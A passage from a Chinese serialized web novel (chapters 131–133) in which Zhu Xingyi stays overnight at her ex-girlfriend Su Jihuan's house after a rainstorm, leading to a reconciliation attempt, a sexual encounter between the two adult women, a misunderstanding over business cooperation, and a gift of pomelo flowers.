苏寄欢折回到沙发上沉默良久问：“来干什么？” 祝星亦捏着披肩回答：“当年是我做得不对，是我太贪心和晏氏为伍。但我有些流言空穴来风，我想我应该解释一下。” “被利益冲昏头的我和他们合作，后来想要回头已经没有机会。丑事曝光之后我避风头躲了一段时间，后来开始筹划短剧事业。从始至终我都没有和晏瑾年联系，更不要说我与晏瑾年在一起这种谣言，我在和你分手后，没有和任何人在一起。” “我不喜欢晏瑾年，我一直以来都很讨厌她，我也从没想过要和她在一起。而那时和晏氏合作，掉进那个圈子我做很多事都是身不由己，也被利益蒙了心，所以……” 苏寄欢掐着指尖打断她的话：“你和我讲这些有什么用？我和你早就没有任何瓜葛。” 祝星亦望着苏寄欢没有感情的双眼，心脏又酸又痛：“你恨我，情有可原。我不知道我有没有资格说我们可不可以重新开始，但我很想真挚地跟你道个歉。苏寄欢，对不起，我……” “祝星亦，背叛就是背叛，忠贞不渝是对爱人的基本要求，你连这点都做不到，还有什么资格谈[原谅］？”苏寄欢霍然起身，她像一道冰川逼近祝星亦，“当时[苏盛］有多难，你怎么对我的？当时我有多无助，你是怎么对我的？你说[苏盛］没资格搞影视，又说我是你的累赘，你那时怎么不向我道歉？” 她逼得祝星亦步步后退，直至靠在冰冷的墙壁上。 祝星亦垂下眼无力地重复[对不起］三字，在苏寄欢眼里看起来无比可笑。 很快，祝星亦颤抖着声音说：“苏小……苏老师，对不起，我不知道你怎么样才能原谅我。我也做好了被你惩罚的准备，但我好话说尽，我也只是想好好跟你道个歉，我想和你重新开始，我想……” 苏寄欢讥笑一声：“你未免也太天真了，把人伤得那么深，拍拍屁股说个重新开始就觉得万事大吉？” “对不起……对不起……苏老师，对不起……” 听着这些道歉，苏寄欢拧紧眉头。 现在的祝星亦会下意识地说好话、陪笑、低头，刚认识时的桀骜不驯早已不见。哪怕她用恶毒的语言拒绝她，她也照单全收，就像被社会规训好的玩偶。 她最不想她这样，可她偏偏成了这样的人。 酸软的心脏还在篝火上跳动，沉默的苦楚无时不刻地煎熬着她。 她不明白为什么她们会走到这么一天，她讨厌用物是人非这个说辞来概括那些遗憾，可除此之外，再也没有其他东西可以为她们来辩白。 晏氏风波出现后，她刷到很多关于祝星亦和晏氏的照片。照片里的祝星亦无一例外像如今这般扬起格式化的笑，那不是发自内心的笑，那是逢场作戏、为了利益的笑。 捧在手心的珍宝在别人脚下当摇尾乞怜的狗，如今又要对自己摇尾乞怜。 她觉得祝星亦可怜，也觉得自己可怜。 她曾经一心一意保护这个女孩，可女孩用谎言和背叛回馈她。 她拼尽全力不让女孩掉进名利场，女孩却因为贪心自己去往深渊。 祝星亦可悲，自己也可悲。 但当她听说那些辩解和诚恳的道歉后，又有一些东西在心上生长。 消失的三年多里，祝星亦没有和谁在一起，她竟然会觉得她好像没有背叛她。 只是再如何，苏寄欢无法不在意自己身上的伤口，她不想原谅祝星亦，一点都不想。 一点，都不想。 “不要再谈论这个话题，很晚了，你走吧，我们之间没什么可说的。”苏寄欢收回目光不再想这些事，她无法改变已经发生的事，过去还是现在她都掌控不了。 她不想多看这个女人一眼，再多看心里就会越烦躁。 苏寄欢抬步往楼上走，本以为对方会简单说两句离开，背后的人忽然跟了上来小声说：“我打车过来的，现在雨太大了不好打车，我想……留宿一晚。” 心跳忽然猛烈起来，苏寄欢抓着楼梯的扶手回头望，坏狐狸抓紧披肩站在她身后小心翼翼地抬眼看她。 狐狸侧了下脑袋，漂亮的桃花眼只在她身上流连片刻，闷声说：“如果我可以留宿的话，你能帮我收拾一间客房吗？另外，换洗的衣服帮我找一套，谢谢，我明早就离开。” 苏寄欢紧握着扶手，这女人什么意思？赖她家里不走不说，要她整理客房，还要她帮忙找衣服，自己是她的仆人吗？ 再说，凭什么要这个女人住自己家里？凭什么？凭什么？ 坏狐狸拢紧披肩打了个喷嚏，湿润润的眼睛望着她，还耷拉着耳朵小声说：“苏老师，我……有点冷，外面也好冷。” “我稍后让苏芙给你整理一间房出来，衣服等我找找我会送你房间。”苏寄欢板着脸说。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 130-140 第131章 关上门 “谢谢你，苏老师。”祝星亦有些不自然地双手交握，“谢谢你，你真好。” 苏寄欢低头看楼下的祝星亦，这张漂亮的脸上还有些未干的水珠，墨发湿哒哒的，俨然一只被雨淋傻的小坏狐狸。 往日那副会冷声说出[你是我的累赘］的狠厉模样已然不见，现在完全是谈恋爱前后的模样，令她幻视眼前的坏女人还是当年她心爱的小狐狸。 可恶，简直可恶。 “你不用说这些好话，说再多也没用。明早你早点从我家离开，我不想和你有过多纠缠，也不想被人拍到跟你有牵扯的影像。”苏寄欢冷哼一声转身上楼，“你现在的名声不及往日，我不想让别人对我和[苏盛］有过多非议。” 祝星亦咬着唇攥紧手指。 现在的苏寄欢摆明是秉着井水不犯河水的原则，一点都不想和她有牵扯。 也是，即便她现在是[星闪］CEO，但于众人来说，她还是那个身败名裂的劣迹艺人。 心脏刺痛得难受，祝星亦低头转身。 没听到身后的人跟上来，苏寄欢上楼的脚步停下，她转过身去望着往客厅里走的祝星亦拧眉问：“你干什么？” 祝星亦回答：“有点渴了，我去倒水。” 苏寄欢抓着栏杆沉默不语，片刻后她踩着阶梯下楼快步走去厨房。 祝星亦不明所以地跟着过去，却看到苏寄欢一声不吭地抄起玻璃水壶和案板。把姜片、红枣备好洗净放进壶里，又倒了些蜂蜜。 按下开关后，苏寄欢敛着眸子走出去冷淡道：“煮好了你再喝，你淋雨了，喝点蜂蜜姜茶驱驱寒。” 祝星亦抓着披肩跟着走了两步，黯淡的双眼溅进零零星星的光芒，她盯着苏寄欢的身影追上去，想要拉住苏寄欢的手却被灵巧避开。 她留在原地，默默等茶煮好。 蒸腾的水雾在顶灯下织成苍白的雨雾，祝星亦呆望着玻璃壶口袅袅升起的烟。 雨声透过窗子落在耳朵里只剩小小的声音，姜片和红枣在玻璃壶里翻滚，咕咕嘟嘟了一会儿，脚步声打碎了寂静。 苏寄欢的衣角掠过雕花栏杆，她趿拉着拖鞋走过来，身子斜倚在柚木餐桌上，像斜插在白瓷瓶里的木芙蓉。 白皙纤长的指轻叩着桌面，令祝星亦的注意力转移到她身上。 “你怎么又过来了？”祝星亦疑惑出声。 苏寄欢面不改色往她身边移了半步：“怕你偷我家东西。” “偷……偷东西？”祝星亦的尾音被蒸汽烫得发颤，却见那人忽然逼近。 柚子花香裹着旧日记忆席卷而来，皑皑白雪一样的女人在她面前停下。 苏寄欢在宴会上穿的那身淡紫色礼服已经换成衬衫长裤，精致的妆容已经洗掉，素面朝天的她更显清冷。 她的视线在祝星亦脸上停留片刻，最后移到那壶茶上。 “茶煮好了，快点喝，别磨磨蹭蹭到很晚，耽误我睡觉。”她对祝星亦说。 祝星亦哦了声去倒水，刚煮好的热水冒着热气，她倒水的时候跑神儿没注意，几滴滚水就这样毫无征兆地溅在她手背上。 吃痛地小声啊了一声，身后的人已经窜过来拿走水壶，然后捏住她的腕骨到水龙头处清洗。 冰凉的水冲刷着手背，一直神游的祝星亦清醒了一点点。 她还没再多说什么，白色的身影已经把药膏拿过来涂*在她手背上。 凉凉的，像薄荷一样。 “倒水都倒不好吗？”小心涂药的人责怪着，涂药的力度很轻，像羽毛一样拂在手背上，和本人冰冷的模样天差地别。 祝星亦蹙着眉心抱歉道：“我不小心的，对不起。” 苏寄欢突然嗤笑：“也是，以前你喝水都是我倒好端到你手里，恨不得亲自喂给你，你哪里亲自倒过水。” “把你当宝贝宠又怎么样？还不是一脚把我踢开，还要嫌我是个累赘。”她低头收拾着药膏，侧过头时眼角的悲戚被灯光映成碎裂的琉璃。 然后又自嘲般笑了笑：“祝星亦，我早就承认一个事实，因为我爱你，所以我在你心里就是一个一文不值的家伙。满心热忱上赶着把最好的东西给你，为你掏心掏肺，为你忤逆母亲，为你做出那么多出格的事。我一直以为真心能换真心，但如此廉价的我在你眼里就是可笑的垃圾。” “不是，不是这样的苏老师，你一点都不廉价。你给我的一切我都很珍惜，我知道你对我很好，所以……”祝星亦嗫嚅着开口，抬眸望见苏寄欢凄厉悲哀的目光后止住了语言。 现在说什么都没用了，她确确实实伤害了最爱她的人，那些伤害换到任何人身上都难以原谅。 “苏老师，对不起……” “[对不起］三个字我已经听腻了，我也想明明确确地告诉你，没有你，我过得比谁都好，你不必再想着用什么东西挽留我。我现在很平静，我不希望你出现在我生活里打扰我。你也看到了，我的家人还是朋友都不欢迎你。”苏寄欢平静出声。 “祝星亦，请不要执着于已经失去的东西，从你决心背叛我的那一刻，我们就没有再继续的可能。” “祝星亦，我们的剧本早就杀青了。” “你已经完完全全、彻彻底底错过我了。” 最后一句话说完，苏寄欢转身而去，墨色长发在空气里划出锋利的弧线，“喝完水就赶紧休息，我希望你不要再来打扰我。” 脚步声越来越远，二楼某间房门落了锁。 剧本杀青了。 她不再需要她。 她离了她，过得比谁都风光。 是啊，在一起的时候诸事不顺，一旦离开了过得比谁都好。 雨水像透明的虫子在玻璃窗上蠕动，雷声滚滚的春夜掩盖了她们走过的那条长路。 她们曾经走了很远的路才在一起，缄默的人和不敢轻易越界的人跨过许多东西才走到彼此身边。但说分开是那么容易，轻而易举打碎了昔日拥有的一切。 很久之前孟律师问她，为了做这件事而放弃事业和爱情，真的舍得吗？ 她低着头想了很久说，如果她不做，她和苏寄欢都会没有未来。 晏氏的大山压在她们身上，一日不解决这座大山，她们便一日不会过得平静。 她觉得不是舍不舍得的问题，而是值不值得的问题。当然，看到晏氏如今那么惨，而[苏盛］那么好，她觉得很值，但所付出的代价实在难以让她承受。 只是那是她选择的路，那是她要选择牺牲的东西。 现在可悲的挽回是她唯一能做的事。 端着发烫的玻璃杯，指尖被烫得发红也浑然不觉。祝星亦坐在椅子上放空许久，才机械地吞咽着温热的姜茶。 蜂蜜的甜腻在舌尖化作苦涩，她不知道在餐厅待了多久，忽然想到苏寄欢说了要她早点休息，不然会打扰到人。 去楼上的时候，苏芙刚从苏寄欢房间里出来。 刚刚她去苏寄欢屋里狠狠骂了几声，同时质问苏寄欢为什么要让祝星亦留宿。不过最后她以失败告终，因为苏寄欢已经默默整理好一间客房，还给祝星亦备好了衣服。 苏芙咬牙切齿吐槽，苏寄欢的行为简直是冷脸洗内裤。 苏芙翻了个白眼指指一间卧室：“那里是你的客房，明天早上赶紧走，走得远远的听到没有？不要再来寄欢家，不要再缠着她。你自己做了什么事你是忘了吗？你不要脸我们还要脸呢！” 祝星亦垂头满怀歉意道：“二姐，对不起，真的很对不起，我明早会早点离开。” “不要再叫我二姐！你真以为你还有资格跟我们攀亲戚吗？”苏芙听到祝星亦喊这个称呼便忍不住皱眉头，“祝星亦我警告你，你以后不许再靠近寄欢，也不要对外说认识我们苏家人。当年拜师宴上，我们苏家人对你那么认可对你那么尊重，可你是怎么对待我们的？你这个忘恩负义的白眼狼，我希望以后有多远滚多远！” 想到晏氏联合那个何欣雨把钱全卷走，害得[苏盛］差点完蛋，苏芙气不打一处来。如果杀人不犯法，她早就把这个祝星亦剁成八瓣了。 看着祝星亦这副假惺惺道歉的模样，苏芙头上的火苗越燃越大，她握着拳把祝星亦推了个趔趄，厉声道：“滚滚滚，别出现在我面前，我和寄欢都不想看到你，你这个不要脸的吸血鬼，我希望你天亮之前就滚远点！” 泄完火，苏芙一走了之。 祝星亦咬紧牙沉默地回到屋子里。 推开门的一瞬间，熟悉的橘花香味扑面而来。她有些沉溺地在原地站了片刻才往床边走去。 月白色的睡衣叠成规整的方块，另一边是米色针织衫和牛仔裤——都是苏寄欢常穿的衣服。 祝星亦拿起针织衫，下面压着乳罩和内裤，是她的尺码，想必是很久前落在苏寄欢家里的。 说需要换洗的衣服，居然全都拿过来了。 不知怎的，一层绯红的颜色忽然漫上心头。 这是苏寄欢给她整理的衣服还有那套内衣裤…… 她珍惜地将脸埋进睡衣里深深吸气，恍惚间像是苏寄欢修长手指抚过她胸口的温度。 不一会儿浴室水声淅沥，蒸腾的雾气在镜面凝结成珠，却冲不散她胸腔里翻涌的焦灼。 窝进被窝里，祝星亦辗转反侧。 雨愈发绵密，她又翻了个身儿，最终掀开被子踩着拖鞋打开房门。 她还是想要找苏寄欢聊一聊。 但当她站在苏寄欢门前时，她惊觉自己连呼吸都在发抖。 她的迟疑在走廊的灯下飘忽不定，许久，她抬手敲敲门。 门把手转开，屋内漏了点暖光，随之而来的是浓重的酒气。 祝星亦直皱眉头，苏寄欢喝酒了？怎么大晚上还要喝酒？这可不是什么好习惯。 “苏……”然而人出来时，祝星亦询问的声音忽然卡在喉咙里。 柚子花香混着醇烈的酒气在空气里发酵，面前浑身酒气的女人穿着单薄的丝绸睡衣，腰带随意地系着，松松垮垮地垂落在身侧，珍珠面料下透出旖旎的轮廓。 浅褐色的眸子里溢出冰霜，酡红从瓷白的脖颈漫到眼尾，那张清冷的脸因为酒精的作用稍显一丝魅惑。 距离过近，祝星亦抬头看了眼那双眸子腿弯便有点打颤，眼神胡乱瞄了两下，忽然发现苏寄欢好像没有穿乳罩。 绸制的睡衣过分贴合着苏寄欢柔美的曲线，祝星亦耳尖烫得难受小退半步，屋里的人竟摇摇晃晃追了半步出来。 混着柚子花与酒精的气息过于危险，祝星亦的心跳声震耳欲聋。 “有事？”微醺的女人声线沙哑，裹了些迷醉的酒意，脚步又往祝星亦身边移了移。 带着酒气的呼吸喷薄在脸上，过分近的距离让本就不安的心更加紧张。 祝星亦惊慌地再退一步，赶忙掐紧指尖摇摇头：“我本想谈一些工作上的事，但太晚了，就不谈了。” 她说完，小心地望向苏寄欢。 苏寄欢的长发如海藻般铺散，冷淡的视线垂落下来，教祝星亦不敢多言语。 想必是太久没见，祝星亦现在对苏寄欢有些陌生，加上苏寄欢又和她清晰划界，所以只要两人有过近的距离，她便有些生分的羞涩和不安。 这种生分来自各种方面，一方面是对苏寄欢的愧疚，另一方面是苏寄欢对她强势的拒绝。 苏寄欢拒绝她，她的靠近便是僭越。同样的，苏寄欢的靠近也是越界。 如此一来，好像回到了初初认识苏寄欢的那段时间，那时她与苏寄欢不熟，肩膀挨得近些她便会小心避开并脸红。 这样生分，怎么把人追回来？ 祝星亦抿着唇思索许久，最后还是不争气地小声说了句抱歉：“我不打扰你了，我先回去休息，明早我还要早点离开。” 冷若冰霜的女人眉心微动。 祝星亦道完歉有些狼狈地转身跑开，跑到自己门前时不舍地转身回望。 不远处的女人倚在门框静静望过来，祝星亦猜不透那道冰冷的视线里藏着什么语言，回过头躲进自己的房门。 她整个人埋进被窝里蜷缩着，心跳声比窗外的雨水声还刺耳。 祝星亦闭上眼睛痛骂自己不争气，这样生分还怎么追人？要一直这样窝囊下去吗？窝窝囊囊的到底什么时候才能复合？ 她是对苏寄欢有愧，对苏家有愧，但一直这么低声下气，到底何时才能…… 还未再叹息什么，敲门声响起。 祝星亦光着脚下去转动门把手，屋外是醉得眼神迷离的苏寄欢，她眼尾的红比刚才更甚。 祝星亦不知道苏寄欢过来干什么，一个[苏］字卡在喉咙里还没出口，苏寄欢推开门走进来。 祝星亦只能望着那双辨别不了情绪的眼步步后退，直到苏寄欢整个人踏进她屋子。 门锁咔嗒落下。 窗外骤雨倾盆。 “太晚了就不谈了？” 第132章 嗯，吃到了 祝星亦退了两步说：“我是想着太晚了，你又喝了些酒……” 苏寄欢冷哼一声：“知道我喝酒了，又不管不问，还说什么想和我重新开始，祝星亦，你真是太有态度了。” 祝星亦辩解：“我是想问的，但当时你……” “我怎么？我捂你的嘴了？” “你没有。” 祝星亦说完后，房间陷入短暂的沉寂。 浓烈的酒气扑在身上，祝星亦偷瞄两眼苏寄欢又开始有些不安。她不知道自己到底何时能克服这种不安，总是这样陌生，别说把人追回来，就连同在一室都会有些不自在。 譬如现在。 苏寄欢身上的柚子花香从她的小腿向上攀爬，醇烈的酒气混入其中开始撕扯着她的四肢。 往日她被苏寄欢宠着捧着，自然不会害怕这些，但如今她作为[做错事的坏女人]面对苏寄欢的味道，总有一种马上就要被刺破的危险。 不行，再害怕下去，话都要说不出来了。 祝星亦打起精神直视面前浑身泛粉的女人，冷静道：“苏老师，你找我是要谈工作吗？不如我们坐下来慢慢聊？” 不等苏寄欢回应，祝星亦马上走到一旁拉过一把椅子强撑着笑意说：“我可能要先跟你介绍一下[星闪]，你应该没有关注过我的公司……” “我没兴趣听你讲这些。” “但不讲这些怎么谈工作？” “我来不是跟你谈工作的。” 祝星亦愣住：“那是谈什么？” 苏寄欢的拳头攥得结结实实。 诚然，她与面前这个纠结[工作］和[不工作］的女人没什么好聊的。 “谈什么？”苏寄欢重复了一下这个问题，她现在脑子有点昏沉，但这并没有妨碍她觉得祝星亦的问题可笑，“什么爱，什么在乎，对你来说，从来都是嘴上说说罢了。谈什么？我要跟你谈什么？” 说着说着，苏寄欢的声音似是从齿缝里挤出来。 凭空生了些阴阳怪气的味道。 祝星亦往后退了半步，她怎么觉得苏寄欢有点像发酒疯了？ 等等，这时候发酒疯……苏寄欢不会趁机打她一顿吧！ 祝星亦瞬间感到不妙，额上也渗出细密的汗珠。 完了完了完了，苏寄欢要是打她，她到底还不还手啊？ 还手的话，那还是认错的态度吗？ 不还手的话，那也不能被苏寄欢一顿哐哐乱揍啊。 祝星亦正想着苏寄欢万一真把她给一顿胖揍该怎么办，苏寄欢又瞪着她说：“你从来都没有把我放在你的未来里，你许下的承诺都是骗我的。正如你说过的，承诺都是有口无心，你做到了，你说的要和我永远在一起，都只是随口说说而已，只有我信了。” “说什么我是你最好的苏老师，说我是你的唯一，统统都是骗我的。把我甩了一走了之，一走就是三年。三年，祝星亦，我能有几个三年？我又有几个八年？我这一辈子能有几个八年让我去蹉跎？” “到现在我还躺在你黑名单里，怎么，把我拉黑还要跟我谈生意吗？你就这样的态度跟我……” 话没说完，被抱住了。 柔软的身子贴着，苏寄欢愣住。 而后，是让她流泪的温暖。 一个简单的拥抱就能让她全把身上下锋利的刀刃尽数收起。 苏寄欢想念这个拥抱很久了，久到她都觉得她们上一个拥抱是上辈子的事。 但在这一刻她动弹不得。 因为她的脖子要被某只坏狐狸勒断了。 呼吸……难以呼吸……难以呼吸…… 祝星亦抱了好久才动了一下。 但也只是轻轻蹭苏寄欢下巴。 想念苏寄欢的味道，想念苏寄欢温暖的怀抱。 坠楼后被冰冷的暴雨打湿身上伤口的时候，她就很想念这个怀抱。 祝星亦觉得自己对苏寄欢是病态的依恋，想一直挨着拽着抱着搂着，分开一点就会焦灼难耐。 所以她不知道自己是如何坚持远离苏寄欢、后来又分别三年多的。 祝星亦收紧手臂，小小的声音在苏寄欢耳边呢喃：“苏老师，三年，三年来，我每一天都很想你，我很想你。” 苏寄欢冷硬地出声：“骗子。” 祝星亦咕哝：“没有骗你，真的。” 说完，她轻轻吻上苏寄欢的唇。 也不知道苏寄欢会不会打她。 她确实害怕，各种层面的害怕。 苏寄欢现在是个酒蒙子，又是她主动亲人，苏寄欢真要是打她的话她也没理。 蜻蜓点水吻了下，人没反应。 那看来暂时不会挨揍。 祝星亦胆子大了点，抓住苏寄欢的手腕，仰头又吻了吻。 唇瓣碰唇瓣，像蝴蝶停在花儿上似的。 吻了两下，祝星亦仰头观察苏寄欢的反应。 一点反应都没有。 祝星亦有点不好意思。 重逢后她有点放不开，心理和生理都放不开。 这种蜻蜓点水的吻已经好久没有过了，放热恋时，她早就把苏寄欢啃出血了。 祝星亦出神想着，身子一阵失重。 她被抱起来了。 祝星亦抬头看，只看到苏寄欢冷峻的侧脸，下一秒她被轻放在床上。 来不及说些什么，咔的一声，屋内一片黑暗。 苏寄欢关上了灯。 “苏……”祝星亦还没出声，唇被身上的人封住。 她的手被苏寄欢牢牢扣住，不留一丝缝隙，唇齿的纠缠瞬间让她头脑发胀。 呼吸急促得很，又不敢大口呼吸，生怕这一切只是幻觉。 苏寄欢的吻渐渐下移，落在她的身上的每一处。 温热的气息喷洒在肌肤上激起战栗，柚子花香和酒精的味道掺在一起扑击着祝星亦所有的理智。 脆弱不堪的花儿被雨水包裹。 眼眶与身体一起发热。 很快，苏寄欢习惯性上来。 像她宴会上说的那样，好事多磨，慢慢磨。 祝星亦喜欢这个姿势，虽然她自己坚持不了太久，但苏寄欢有这个耐力。 这个姿势，只要保持清醒就可以看到苏寄欢美妙的表情，但关上灯便什么都看不到了。 苔藓蜿蜒着水渍。 生理反应迫使祝星亦喊出声：“苏老师……苏……” 苏寄欢动作一顿，抬头，黑暗里谁也看不清谁的脸。 她颤抖着指尖抚了下祝星亦的脸，然后哼鸣着带来一片炽热。 沉溺在情潮里，理智只是一件被随意碾压的东西。 身子不断痉挛着，湿润直到脚踝，脚趾来不及蜷起，身子便弓成了虾米。 祝星亦觉得自己也醉了，否则她解释不了她和苏寄欢正在当两只互相舔舐的小猫。 她刚刚还在抱怨：“苏老师，好黑，我找不到你的。” 身下的人移开正在舔舐的唇齿，稍稍起了下身，一言不发地把她按下去。 她噙住一会儿小声说：“嗯，吃到了。” 美妙像七彩的泡泡漂浮着，一团团地往上飞，往前跑，跟着一声声羞涩的音调碎掉。 但也有不美妙的，譬如苏寄欢会故意使些奇怪的力气让水声搅得更刺耳些。 祝星亦除了求她慢点别无她法。 等她趴在苏寄欢胸口持续地颤抖的时候，她觉得自己疯得太过猛。 阔别三年，刚重逢几个小时，她和她的前任在做什么？ 湿漉漉的床单冰得她把仅存的理智收回，但十几秒后她恨不得收回这份理智。 趴在苏寄欢身上的她边哼哼着边问：“苏老师，我们公司的合作，你觉得可行吗？” 苏寄欢的手指停下动作。 她停顿了许久立马推开身上的祝星亦，然后打开灯站在床下。 床上的人侧趴着不明所以地遮着眼，白皙的肌肤上全是咬痕。 当然，苏寄欢身上也没有什么好地方，全是咬痕。 她站着，透明的液体蜿蜒到腿弯，但她顾不上那些生理反应，瞪着眼睛气道：“祝星亦，你什么意思？合着你就是为了跟我合作才来我家，然后跟我上床是不是？” 祝星亦的眼睛缓了好久才适应光线，刚从情。事里抽离出来的她不太明白苏寄欢为何突然又生气了，只能缓缓爬起来好声询问：“苏老师，怎么了？” 苏寄欢咬着牙气道：“祝星亦，我是那种你跟我上床我就会同意跟你合作的人吗？但你是为了利益可以奉献出身体的人。你走，你现在就走，你别出现在我面前！” 祝星亦瞳孔地震。 她连滚带爬下床去跟苏寄欢解释：“苏……苏老师，苏老师你误会我了，我只是，我只是……” “你不用只是了，我觉得我们今晚很可笑。”苏寄欢握着拳头咬牙切齿，她指着门冷声道：“你走，我不想看到你。” 祝星亦觉得天塌了。 马上就哄好了，一句话，全白费了。 现在不仅没哄好，还把事情弄得更糟了。 祝星亦哭丧着脸慌慌张张地抓着自己的手指紧张道：“我走，我走，但我……我怎么感觉有点冷。” 听着祝星亦的话，苏寄欢一口气上不来：“你没穿衣服你当然冷了。” 站在屋子里对峙的两人，都没穿衣服。 苏寄欢愤怒地拿起衣服扔到祝星亦怀里，自己又拿起衣服穿上。 穿好衣服，祝星亦咬着唇尽量说好话：“苏老师，我不是那个意思，我就是顺便问问，我并不是……” 苏寄欢截住她的话头：“身上的疤怎么回事。” 祝星亦低头看，肚子上一道疤。 被刺和坠楼的伤痕几乎都用医美祛掉了，除了这道被段以溶捅得太深的疤祛不掉。 祝星亦捂上肚子回答：“之前胃不好，做了小手术。” “疼不疼。” “打麻药了，不疼。” 苏寄欢沉默片刻，勾起床边垂着的内裤转过身：“休息吧，明早赶紧离开我家。” 走了几步，她去淋浴间按开热水器，“衣柜里有新床单，洗完澡赶紧睡，不要再来打扰我。” 门被无情地关上。 祝星亦觉得委屈。 明明是她来打扰自己的，什么叫不要去打扰她。 整理完后她无力地躺在床上。 怎么办？她到底什么时候才能追回苏寄欢？ “烦死了，根本睡不着。”祝星亦头疼无比。 早上苏寄欢很晚才起来。 昨晚本来很气，但莫名睡得很好。 想了想，大抵是压抑了三年的情绪一股脑倾泻了出来，所以睡得很沉。 她好久没有睡那么香了。 窗外已是晴天。 苏寄欢在窗边伸了个懒腰，忽然想起一件重要的事。 她跑到祝星亦留宿的屋子时，屋子里已经空了。 一切被收拾得整整齐齐，好像那人从没来过。 心上被填满的一角又空了。 手机振动了下。 苏寄欢点开看了眼，银行账户到账8888元。 没有备注。 谁转的？ 苏寄欢正奇怪着，一个号码发来好友申请。 [苏老师，这是我新号，旧号早就不用了］ 是……祝星亦的好友申请。 苏寄欢立刻点同意。 加完好友后，苏寄欢的手指飞快打着字，但消息还没发出，对面发来三条消息。 祝星亦：【苏老师，我是星星，这是我新号。】 祝星亦：【8888是我转的，你就当一炮解千愁，我不会再找你，也不会再想着和你合作】 祝星亦：【此后你我两不相欠】 手机从掌心滑落。 苏寄欢歪着脑袋，目光放空。 一炮解千愁？ 两不相欠？ ？ 第133章 送你柚子花 “发完了没有。” “发完了。” “给我看看。” 苏芙查看祝星亦发给苏寄欢的消息，不错，是她指定要发的内容。 她睨着祝星亦，哼了声：“你答应我的一定要做到，要是被我看到你再和寄欢有牵扯，我立马掐死你信不信！” 祝星亦熄掉手机屏幕神情淡漠：“二姐，请遵纪守法。” 苏芙来气了：“你还要我遵纪守法？呀呀呀，你让我遵纪守法？你一个法制咖还在我面前指点上了，你装什么呢！” 天好不容易晴了，祝星亦却没什么兴致。垂眸看了眼还很潮湿的地面起身离开，又偏过头道：“二姐，如果我是法制咖道话，我海关都过不了。我的公司也已经搬回国内，能在这里好好生活，证明我完全没有问题。” 苏芙被堵得说不出来话。 但祝星亦确确实实算得上法制咖，她只是不知道祝星亦为何没有受到法律的制裁，反而活得更自在。 难不成是傍上了更厉害的人？ 苏芙觉得有这个可能。 苏芙瞪她：“你不用在这里跟我解释你是清清白白的人，你回国的热搜早就登顶，在大众眼中你到底是个什么货色，大家心知肚明。你开影视公司又如何？现在她们都知道了你是[星闪］CEO，你觉得你还能猖狂多久？做生意，名声扫地你还能做得下去？” 祝星亦冷静地回击：“谢谢二姐关心，但我觉得只要剧好，就没人在意这些东西，因为市场就是这样，只要营销好，没人在乎我是谁。毕竟[星闪］的作品早就洗出一批粉丝，如果有人会因为我而去骂[星闪］的作品，那就代表她不是我的观众。” “你真是有够不要脸的，难怪你会这么成功。但你和[苏盛］的合作，白日做梦。我们[苏盛］的名声很好，我们才不想和你这种劣迹艺人的公司合作，我劝你死了这条心。”苏芙不与她多说，驾车离去。 人走后，祝星亦试图撤回发出去的句子。 时间已经过了，无法撤回。 天晴后的阳光很大，有点看不清手机上的字。祝星亦找了个背阴的地方打了许多字又删掉，手指在键盘界面上停留很久，最终沉默地等待对方的回复。 对方没有回复。 但对方在傍晚找来了。 [星闪］在ilmeth大厦隔壁的柏奉大厦里，三层办公区域。祝星亦还没下班，白澜说苏寄欢马上就到楼下了。 “说不定是跟你谈合作呢，不然怎么可能主动过来？”白澜猜测。 祝星亦觉得没有这种可能。 昨天两人厮磨过后很不愉快，早上她又被苏芙逼着发了那些话，苏寄欢怎么可能主动来谈合作？ 最大的可能是来找自己麻烦了。 想到昨天嘴巴不受控制地说出那番话，祝星亦便后悔得要命。 她怎么在两个人最兴奋最快乐的时候说出那么扫兴的话？枕边风也不是这样吹的。 祝星亦匆匆忙忙去洗手间简单收拾了下自己，紧攥着拳乘电梯。 她有点紧张。 有点怕苏寄欢做出什么出格的事。 但祝星亦又觉得苏寄欢不是这种情绪化的人，毕竟昨天晚上苏寄欢并没有胖揍她。 但她宁愿苏寄欢胖揍她泄愤，毕竟她以前做的那些事太过分了，换作别人，早就把她一顿乱揍，哪里还能关上灯共赴巫山云雨？ 不过…… 祝星亦望着电梯间反射出的自己，毛衣领口遮不住的地方尽是深紫色的咬痕。衣服遮盖住的地方更不用提，大大小小的咬痕，根本无法露出一点点。 这姑且也算胖揍？ 祝星亦咬咬牙，算了，就当被胖揍过好了。 柏奉大厦门前有一片地上停车场，走出旋转门，祝星亦看到远处刚停好车的苏寄欢。 望见那个身影，没来由一阵激烈的心跳。 祝星亦实在紧张，忙躲进一旁的便利店里悄悄观察。 看苏寄欢的模样好像有点跑神，祝星亦不知道苏寄欢在想什么，难道在想怎么惩罚自己？ 祝星亦丧着脸，她搞不明白这些东西，毕竟以前她做错事还理直气壮惯了，头一回要低头认错哄人，她不习惯，没经验。 唯一的出路就是不停哄人。 只是苏寄欢好像……有点难哄。 也不是难哄，倒不如说，是自己做得太过分了。 但到底怎么做才能把人哄回来？ 祝星亦抱住脸盯着远处正走过来的女人发呆。 暮色垂在女人身后像鲜艳的背景板，她穿着黑色束腰风衣踩着长筒靴走过来，海藻般的墨发如暗潮翻涌。 她的眉眼凝着北国簌簌落雪的寒，冷白色的皮肤像薄暮升烟的清晨，一边沁着零下二十摄氏度的积雪，一边在纤美纯净的云彩里闪着冰晶的光。 除却心脏和怀抱的热与暖，她是漫漫风雪里最坚韧的白。 忽然站定，低垂着眼看手机。 麓城雨后初晴的黄昏是深浅不一的紫色，落在苏寄欢脸上像蓬勃着坎坷又美好的命运。 大地恍惚，暮霞漫天，她美丽的剪影刻在轰轰然的落日余晖里，像一场迷醉的酣眠。 旋即转身。 目光精准地移了过来。 祝星亦被看得浑身一抖。 这……这就被发现了？ 祝星亦又躲了躲，抬头，苏寄欢的目光又追了下。 她只好抚平衣服上的褶皱从便利店出来。 祝星亦迎着那人的目光走在翻卷奔腾的晚霞里，越近，越能嗅到一股香气。 干净凛冽，酸涩甘甜。 走到跟前儿，苏寄欢抬手举着一束白色的花递过来。 柚子花。 很新鲜的柚子花。 “宜津山下有一片柚子林，今年气候暖，那边的柚子树的花开得早，我开车过去采了些花，想着放我屋子里。”苏寄欢把花塞到还在愣着的祝星亦怀里，“你总说你喜欢柚子花的味道，我顺便给你采了一束。” 宜津山在隔壁嘉城，她是去……隔壁市采了束花？ “你还有时间去采花？”祝星亦接过花，一点点纳闷。 这么有闲心……那应该是不是很生气？ 苏寄欢眉头一皱。 